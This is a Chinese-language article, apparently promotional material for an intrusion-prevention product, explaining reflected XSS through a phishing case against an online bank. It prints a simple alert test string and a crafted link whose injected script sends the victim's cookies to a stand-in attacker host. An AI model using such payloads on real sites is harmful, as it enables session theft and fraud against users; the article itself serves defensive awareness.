XSS(Cross-site scripting)攻击是最常见的Web攻击之一,和其它Web攻击类似的是,XSS也是利用Web页面编码的不严谨,和SQL注入漏洞所不同的是,XSS漏洞更加难以发现避免。就连McAfee、Symantec、VeriSign这种专业安全公司,也在2008年1月的XEED.com报告中被爆出官网存在XSS漏洞。
此外,XSS攻击还有另外一个与众不同的特性:虽然骇客利用的是Web业务系统存在的漏洞,但真正的受害者却是随后访问这些Web系统的用户。
正是由于以上两个特性——难以避免、难以察觉,所以想要防御XSS攻击非常困难。启明星辰推出的天清入侵防御产品,采用基于攻击手法分析的检测方法,对Web威胁如SQL注入、XSS攻击等进行全面检测和防御。与传统的基于数据特征匹配和基于异常模型构建的Web安全相比,有着更低的漏报率和误报率。
1.网上银行谨防XSS攻击
大家都用过网站的搜索功能,提供一个搜索输入框,用户在框中输入想要查找的内容,提交后台数据库检索。但如果提交的输入信息不是字符串,而是一段可执行指令呢?一个很常见的XSS例子,在输入框中填入“"〉〈SCRIPT〉alert('XSS%20Testing')〈/SCRIPT〉”(不包括最外侧的双引号),一些没有做严格过滤的站点将会弹出一个alert框,显示“XSS Testing”,这意味着这段脚本已经被执行了。Reflect-based XSS(反射式XSS)利用的就是这样一个原理。
以下就是一则利用XSS漏洞进行网银诈骗的真实案例。
小陈是ebank 网上银行的安全维护人员,有一天忽然接到客服部门转来的客户投诉,称收到一条交易提醒,但该客户仅做过网上银行的登录,并没有做过付款动作。
“你们给我发了一封邮件,说是有分期付款买笔记本电脑的优惠活动,我就点链接进来看,可没几分钟,我就收到交易提醒,说网上付款4784元,请我确认,但我还没下单呢,你们这是怎么回事?”电话里客户的声音明显带着压抑不住的愤怒。
经过确认,该客户使用的PC并不存在病毒,而且也的确是仅点击了广告邮件的链接而已。“那你把这封邮件发给我看看吧”,小陈在排除了其它可能性后,这么告诉客户,“分析出结果我们的客服人员将第一时间通知您,您现在的这笔费用我们先冻结,待解决后给您恢复”。
在收到客户转发来的邮件后,小陈第一眼就看出了问题,这不是ebank的系统邮件,而是一封钓鱼邮件,伪造了发件人名称的钓鱼邮件。其中关于促销优惠活动的页面都是截取了真实活动页面,但在“点击参加活动”的按钮后面,却隐藏着重重的杀机。
这个链接并非是正常促销活动所在的页面,而是如下所示的一个长URL
〈a href="http://www.ebank.com/query.asp?word=%3Cscript%3Evar+img+%3D+new+Image%28%29%3Bimg.src%3D%22http%3A%2F%2Fwww.hackers.com%2F%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E+"〉点击参加活动〈/a〉
一般的用户在看到URL开头是正确的网站域名ebank,都不会怀疑邮件的真实性,而骇客正是利用这一心理,精心设置了圈套,利用了Ebank的某个输入域中存在反射式XSS攻击漏洞,通过〈script〉标签注入
“var img = new Image();img.src=“http://www.hackers.com/?”+document.cookie;”这段JavaScript代码来盗取受害者的Cookie。受害者只要点击了这个链接,在正确的ebank页面中操作所留下的Cookie信息,都将被骇客获取,利用这些信息,骇客甚至可以绕过验证机制。这个案例中该客户就是被这样一个长URL欺骗了,好在发现及时,没有造成财产损失。
小陈拿着分析结果去找信息中心沈主任汇报,而沈主任果然经验丰富:“先发布网站紧急通知,告知用户注意不要随意点击链接,然后迅速找专业安全公司做安全服务,查清问题的根源再说。”并立刻联系了专业安全厂商启明星辰的当地销售人员。
经过安星远程网站安全检查服务的检测,发现ebank的网站存在数个XSS和SQL注入的漏洞,考虑到代码级修改费时太长,沈主任决定双管齐下,一方面找开发人员修补现有漏洞,一方面咨询是否有现成的专业安全产品可以防范XSS攻击。在对比了数家国内外的安全产品后,启明星辰天清入侵防御产品的专业的Web安全防御能力给沈主任留下了深刻的印象,特别是其采用了攻击机理分析方式,在防范XSS攻击和SQL注入方面都有很好的效果。对网银来说,时间可就是真金白银,所以沈主任当机立断先购买一台天清入侵防御系统,并迅速上线。当小陈尝试用原来的长URL进行XSS攻击时,发现天清入侵防御产品信息报警监视台上已经出现了报警信息并进行了及时的阻断。
2.相关提示
反射式XSS攻击的对象如果是网站管理员,那么整个网站的权限都有可能因此而泄露给骇客。作为网站的所有者,不能因为受攻击者只是普通用户而对反射式XSS攻击掉以轻心,采用专业的安全产品或仔细检查你的所有页面,既是对用户负责也保障了自己的安全。而普通用户也需要加强自身的安全意识:采用拥有反向地址检查技术的邮件系统,尽量不要点击过长且包含未知域名的URL,当然,采用一款防反射式XSS攻击的浏览器,比如IE8,也是很有必要的。